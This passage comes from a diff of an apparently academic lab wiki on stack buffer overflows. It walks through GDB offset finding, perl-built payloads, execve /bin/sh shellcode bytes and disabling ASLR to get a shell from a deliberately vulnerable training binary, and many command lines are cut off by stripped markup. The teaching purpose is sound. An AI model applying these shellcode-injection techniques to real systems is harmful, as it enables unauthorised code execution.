+ | |||
+ | To find out the address of the '' | ||
+ | '' | ||
+ | $ nm vuln | grep shellcode | ||
+ | 080485d0 r shellcode | ||
+ | </ | ||
+ | |||
+ | So the address of '' | ||
+ | |||
+ | <note important> | ||
+ | The address of the '' | ||
+ | </ | ||
+ | |||
+ | We now construct the '' | ||
+ | $ perl -e 'print " | ||
+ | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAЅ | ||
+ | .... | ||
+ | $ perl -e 'print " | ||
+ | 0000000 41414141 41414141 41414141 41414141 | ||
+ | * | ||
+ | 0000040 080485d0 | ||
+ | </ | ||
+ | |||
+ | We see that we are generating the proper byte string, filling the buffer with '' | ||
+ | |||
+ | Let's pass that string as the first argument using shell command substitution and profit:< | ||
+ | $ ./vuln $(perl -e 'print " | ||
+ | $ | ||
+ | </ | ||
+ | |||
+ | Excellent, we've got a shell! We've now got closer to what an attack really looks like, the trigger step happening with the help of a buffer overflow cause by the '' | ||
+ | ==== 06.a. Challenge: Overwrite the function return address ==== | ||
+ | |||
+ | Let's now get to the next step towards making the attack more realistic. We would rarely have the benefit of a function pointer (such as '' | ||
+ | |||
+ | Inside the '' | ||
+ | |||
+ | Exploit this vulnerability by causing a buffer overflow of the '' | ||
+ | |||
+ | <note tip> | ||
+ | You need to find out the difference between the address where the function return address is stored and the address of the '' | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | Use the '' | ||
+ | </ | ||
+ | ===== 07. Challenge: Use standard input to provide data ===== | ||
+ | |||
+ | Passing information as a program argument is one of the way to provide input to the vulnerable program. Another way is through standard input. Let's use standard input to cause a buffer overflow and run the shellcode (again inside the '' | ||
+ | |||
+ | Inside the '' | ||
+ | * the initial data is now read from standard input using '' | ||
+ | * the buffer we are going to overwrite is now 70 characters long | ||
+ | * we've added an extra local variable before the buffer to make it a bit more challenging to determine the return address | ||
+ | |||
+ | Similarly to the task above, exploit the vulnerability by causing a buffer overflow of the '' | ||
+ | |||
+ | <note tip> | ||
+ | First determine the difference between the buffer start address and the address of the return address (both on the stack frame for '' | ||
+ | |||
+ | Find out the address of the '' | ||
+ | |||
+ | Create a payload to feed to the program consisting of '' | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | To feed input to the program you may use something like< | ||
+ | perl -e 'print " | ||
+ | </ | ||
+ | However, this doesn' | ||
+ | |||
+ | The proper way to do this is with a command such as< | ||
+ | cat <(perl -e 'print " | ||
+ | </ | ||
+ | The above command " | ||
+ | |||
+ | If everything, you will not get an expected prompt ('' | ||
+ | </ | ||
+ | ==== 07.a. Challenge: Fill global variable with the shellcode ==== | ||
+ | |||
+ | Now that we know how to cause a buffer overflow and trigger the execution of the shellcode, let's make another step into making things more realistic by injecting the shellcode into the program. Up until now the shellcode was conveniently stored in the '' | ||
+ | |||
+ | Inside the '' | ||
+ | |||
+ | Similarly to the task above, exploit the vulnerability by injecting the '' | ||
+ | |||
+ | <note tip> | ||
+ | Use the hints and start from the solution from the task above. | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | Use the shellcode that was stored in the '' | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | When feeding the shellcode through standard input to the '' | ||
+ | </ | ||
+ | ===== 08. Tutorial: Use the stack buffer for storing the shellcode ===== | ||
+ | |||
+ | In the above task we were in luck that we had two buffers and both were filled by feeding input to the vulnerable program (in our case, through standard input). But that's not usually the case. Let's consider the situation where the '' | ||
+ | |||
+ | In the '' | ||
+ | |||
+ | In short, we'll have to get to a situation where we overwrite the return address of '' | ||
+ | |||
+ | The steps we are going to undertake are: | ||
+ | - Find out '' | ||
+ | - Find out what is the address of the '' | ||
+ | - Create a payload that consists of the following: | ||
+ | - '' | ||
+ | - '' | ||
+ | - '' | ||
+ | - Store the payload in a file (we'll name it '' | ||
+ | - Feed the payload as standard input to the program using a construction such as< | ||
+ | cat payload - | ./vuln | ||
+ | </ | ||
+ | |||
+ | First of all, let's find out the difference between the '' | ||
+ | $ gdb -q ./vuln | ||
+ | Reading symbols from ./ | ||
+ | gdb-peda$ start | ||
+ | [...] | ||
+ | |||
+ | gdb-peda$ disass do_nothing_successfully | ||
+ | Dump of assembler code for function do_nothing_successfully: | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | [...] | ||
+ | |||
+ | gdb-peda$ b *0x08048492 | ||
+ | Breakpoint 2 at 0x8048492: file vuln.c, line 10. | ||
+ | gdb-peda$ continue | ||
+ | Continuing. | ||
+ | Provide input data: aaaa | ||
+ | [...] | ||
+ | Breakpoint 2, 0x08048492 in do_nothing_successfully (str=0xffffd280 " | ||
+ | at vuln.c:10 | ||
+ | 10 strcpy(buffer, | ||
+ | |||
+ | gdb-peda$ p &buffer | ||
+ | $1 = (char (*)[70]) 0xffffd216 | ||
+ | |||
+ | gdb-peda$ p $ebp+4 | ||
+ | $2 = (void *) 0xffffd26c | ||
+ | gdb-peda$ | ||
+ | </ | ||
+ | |||
+ | In GDB we've printed the address of the local buffer variable and the address where the return address is stored ('' | ||
+ | $ python -c 'print 0xffffd26c-0xffffd216' | ||
+ | 86 | ||
+ | </ | ||
+ | As before, the difference is '' | ||
+ | |||
+ | We already found out the address of the buffer variable as well: '' | ||
+ | - '' | ||
+ | - '' | ||
+ | - '' | ||
+ | |||
+ | Our shellcode is the one we've already used. Let's find out its length:< | ||
+ | $ echo -en ' | ||
+ | 25 | ||
+ | </ | ||
+ | |||
+ | So our payload will consist of '' | ||
+ | - '' | ||
+ | - '' | ||
+ | - '' | ||
+ | |||
+ | Let's create the payload and store it in a file named '' | ||
+ | $ perl -e 'print " | ||
+ | |||
+ | $ wc -c payload | ||
+ | 91 payload | ||
+ | |||
+ | $ xxd payload | ||
+ | 00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e350 1.Ph// | ||
+ | 00000010: 5389 e131 d2b0 0bcd 8041 4141 4141 4141 S..1.....AAAAAAA | ||
+ | 00000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
+ | 00000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
+ | 00000040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
+ | 00000050: 4141 4141 4141 16d2 ffff 0a AAAAAA..... | ||
+ | </ | ||
+ | So the '' | ||
+ | |||
+ | We send the payload to the standard input of the '' | ||
+ | $ cat payload - | ./ | ||
+ | ps | ||
+ | Segmentation fault | ||
+ | </ | ||
+ | We get a segmentation fault, something went wrong. Let's check what caused the error, maybe we didn't properly construct they payload and jumped to a different address:< | ||
+ | $ dmesg | ||
+ | [...] | ||
+ | [144777.383326] vuln[15245]: | ||
+ | </ | ||
+ | Nope. The address where segmentation fault occurred is OK; it's the buffer address '' | ||
+ | |||
+ | Let's investigate in GDB what happens by feeding the same data to the standard input of the '' | ||
+ | $ gdb -q ./vuln | ||
+ | Reading symbols from ./ | ||
+ | gdb-peda$ run < payload | ||
+ | Starting program: [...]/ | ||
+ | process 26482 is executing new program: /bin/dash | ||
+ | [...] | ||
+ | </ | ||
+ | This is weird. The exploit works under GDB. There must be something different between the two environments: | ||
+ | |||
+ | There are actually two aspects: | ||
+ | - ASLR (//Address Space Layout Randomization// | ||
+ | - The environment is different and because of that the address itself may be different GDB. | ||
+ | |||
+ | First of all we need to disable ASLR. We have two ways to do that: | ||
+ | - system-wide (administrative privileges are required):< | ||
+ | echo 0 | sudo tee / | ||
+ | </ | ||
+ | - for a shell process only< | ||
+ | $ linux32 -3 -R bash -l | ||
+ | </ | ||
+ | |||
+ | If ASLR is enabled dynamic memory areas will be placed in different locations. We can use '' | ||
+ | $ ldd vuln | ||
+ | linux-gate.so.1 (0xf77a1000) | ||
+ | libc.so.6 => / | ||
+ | / | ||
+ | $ ldd vuln | ||
+ | linux-gate.so.1 (0xf76e4000) | ||
+ | libc.so.6 => / | ||
+ | / | ||
+ | $ ldd vuln | ||
+ | linux-gate.so.1 (0xf77c9000) | ||
+ | libc.so.6 => / | ||
+ | / | ||
+ | </ | ||
+ | In the above situation ASLR is enabled as the addresses for library functions differs at each '' | ||
+ | |||
+ | After we disable ASLR (using any of the above two methods), we can see that the addresses for library functions are identical for each '' | ||
+ | $ ldd vuln | ||
+ | linux-gate.so.1 (0xb7ffd000) | ||
+ | libc.so.6 => / | ||
+ | / | ||
+ | $ ldd vuln | ||
+ | linux-gate.so.1 (0xb7ffd000) | ||
+ | libc.so.6 => / | ||
+ | / | ||
+ | $ ldd vuln | ||
+ | linux-gate.so.1 (0xb7ffd000) | ||
+ | libc.so.6 => / | ||
+ | / | ||
+ | </ | ||
+ | |||
+ | < | ||
+ | If you want to check and enable ASLR in GDB you may use the commands below:< | ||
+ | $ gdb -q ./vuln | ||
+ | Reading symbols from ./ | ||
+ | gdb-peda$ aslr | ||
+ | ASLR is OFF | ||
+ | |||
+ | gdb-peda$ show disable-randomization | ||
+ | Disabling randomization of debuggee' | ||
+ | |||
+ | gdb-peda$ set disable-randomization off | ||
+ | |||
+ | gdb-peda$ show disable-randomization | ||
+ | Disabling randomization of debuggee' | ||
+ | |||
+ | gdb-peda$ aslr | ||
+ | ASLR is ON | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | Let's now also use the same environment for GDB and for the program. In order to do that we need to clear the environment using the '' | ||
+ | $ env -i gdb -q ./vuln | ||
+ | Reading symbols from ./ | ||
+ | (gdb) show env | ||
+ | LINES=23 | ||
+ | COLUMNS=80 | ||
+ | (gdb) unset env LINES | ||
+ | (gdb) unset env COLUMNS | ||
+ | (gdb) show env | ||
+ | (gdb) disass do_nothing_successfully | ||
+ | Dump of assembler code for function do_nothing_successfully: | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | ---Type < | ||
+ | | ||
+ | | ||
+ | End of assembler dump. | ||
+ | (gdb) b *0x08048492 | ||
+ | Breakpoint 1 at 0x8048492: file vuln.c, line 10. | ||
+ | (gdb) run | ||
+ | Starting program: / | ||
+ | Provide input data: aaaa | ||
+ | |||
+ | Breakpoint 1, 0x08048492 in do_nothing_successfully (str=0xbffffcc0 " | ||
+ | at vuln.c:10 | ||
+ | 10 strcpy(buffer, | ||
+ | (gdb) p &buffer | ||
+ | $1 = (char (*)[70]) 0xbffffc56 | ||
+ | </ | ||
+ | |||
+ | So we now have a different address for the '' | ||
+ | |||
+ | Let's try using that address for the payload:< | ||
+ | $ perl -e 'print " | ||
+ | $ cat payload - | env -i ./vuln | ||
+ | ps | ||
+ | Segmentation fault | ||
+ | $ dmesg | ||
+ | [150008.596439] vuln[2964]: segfault at 1 ip 00000000bffffc56 sp 00000000bffffdd0 error 6 | ||
+ | </ | ||
+ | |||
+ | Unfortunately it still doesn' | ||
+ | |||
+ | <note important> | ||
+ | [[http:// | ||
+ | </ | ||
+ | |||
+ | The approach I used make use of the dmesg message that shows us the stack pointer ('' | ||
+ | $ python -c 'print hex(0xbffffdd0-90)' | ||
+ | 0xbffffd76 | ||
+ | </ | ||
+ | We found out the buffer address: '' | ||
+ | $ perl -e 'print " | ||
+ | $ cat payload - | env -i ./vuln | ||
+ | ps | ||
+ | PID TTY TIME CMD | ||
+ | 2682 pts/1 00:00:01 bash | ||
+ | 14783 pts/1 00:00:00 cat | ||
+ | 14784 pts/1 00:00:00 sh | ||
+ | 14796 pts/1 00:00:00 ps | ||
+ | 19602 pts/1 00:00:08 bash | ||
+ | </ | ||
+ | |||
+ | Yes, we've finally done it! We've found out the address of the '' | ||
+ | |||
+ | <note important> | ||
+ | Run the attack on the **same** terminal you used to generate the segmentation fault and find out the '' | ||
+ | </ | ||
+ | ==== 08.a. Challenge: Use stack buffer for storing the shellcode on a new program ==== | ||
+ | |||
+ | Let's to a similar task as the one above. In the '' | ||
+ | |||
+ | ===== Bonus ===== | ||
+ | |||
+ | <note warning> | ||
+ | When running the vulnerable executables for the tasks below make sure you have disabled ASLR in your shell: | ||
+ | <code bash> | ||
+ | $ linux32 -3 -R bash -l | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | |||
+ | ==== 09. Challenge: Call trampoline ==== | ||
+ | |||
+ | Another way of working with strings is to declare them as data inside the shellcode. However, if you do this, you won't know their address at compile-time. You have to obtain the address at runtime by abusing the call instruction, | ||
+ | |||
+ | <code asm> | ||
+ | jmp str | ||
+ | back: | ||
+ | pop ecx ; call pushes the return address on the stack, which in our case is precisely the string address | ||
+ | |||
+ | ... | ||
+ | str: | ||
+ | call back | ||
+ | db ' | ||
+ | </ | ||
+ | |||
+ | Write the shellcode that prints " | ||
+ | |||
+ | ==== 10. Challenge: Exploit with known buffer address ==== | ||
+ | |||
+ | <note important> | ||
+ | For the following tasks make sure your shellcodes don't have any null bytes | ||
+ | </ | ||
+ | |||
+ | Switch to the // | ||
+ | You'll have to exploit the vulnerable binary found there and get a shell. | ||
+ | |||
+ | First, write a shellcode that runs execve("/ | ||
+ | |||
+ | The complete exploit will go into the // | ||
+ | |||
+ | == Finding the buffer address == | ||
+ | |||
+ | You'll first run the program under gdb and use it to inspect the addresses. You'll find the buffer address, then you'll use this address in the exploit. | ||
+ | |||
+ | For this to work, we have to assume that when you run the program the buffer address will be the same as the one you found with gdb. In general this is not true, but we can make it so by doing the following: | ||
+ | * you run the program using an absolute path, both when running normally and under gdb (so no " | ||
+ | * you run the program with an empty environment, | ||
+ | * when running under gdb you also run with an empty environment, | ||